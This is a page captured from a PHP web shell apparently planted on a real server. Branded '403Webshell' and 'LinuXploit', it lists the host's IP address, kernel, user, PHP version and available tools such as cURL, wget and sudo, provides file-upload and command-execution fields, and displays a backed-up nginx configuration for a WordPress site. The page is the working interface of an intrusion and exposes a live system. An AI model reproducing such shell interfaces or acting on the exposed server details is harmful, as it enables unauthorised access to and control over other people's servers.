403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/letsencrypt/backups/1768324348.6321275/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/letsencrypt/backups/1768324348.6321275/www.drjunior.in_4
server {
    listen 80;
    listen [::]:80;

    server_name drjunior.in www.drjunior.in;

    root /var/www/drjunior_wordpress;
    index index.php index.html index.htm;

    # Optional: upload size (WordPress media uploads)
    client_max_body_size 2000M;

    # WordPress permalinks
    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    # PHP handling via Docker PHP-FPM (you mapped 127.0.0.1:9000 -> container:9000)
    location ~ \.php$ {
        try_files $uri =404;

        include fastcgi_params;
        fastcgi_pass 127.0.0.1:9000;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param DOCUMENT_ROOT $document_root;

        # Optional: buffer tuning (safe defaults)
        fastcgi_buffers 16 16k;
        fastcgi_buffer_size 32k;
    }

    # Cache static assets (optional)
    location ~* \.(css|js|jpg|jpeg|png|gif|ico|webp|svg|ttf|otf|eot|woff|woff2)$ {
        expires 30d;
        access_log off;
        try_files $uri =404;
    }

    # Deny access to hidden files (.env, .git, etc.) but allow Let's Encrypt
    location ~ /\.(?!well-known).* {
        deny all;
    }

    # Protect wp-config.php
    location = /wp-config.php {
        deny all;
    }

    # Optional: deny direct access to PHP in uploads (common hardening)
    location ~* ^/wp-content/uploads/.*\.php$ {
        deny all;
    }

    # Optional: security headers (safe baseline)
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
}

Youez - 2016 - github.com/yon3zu
LinuXploit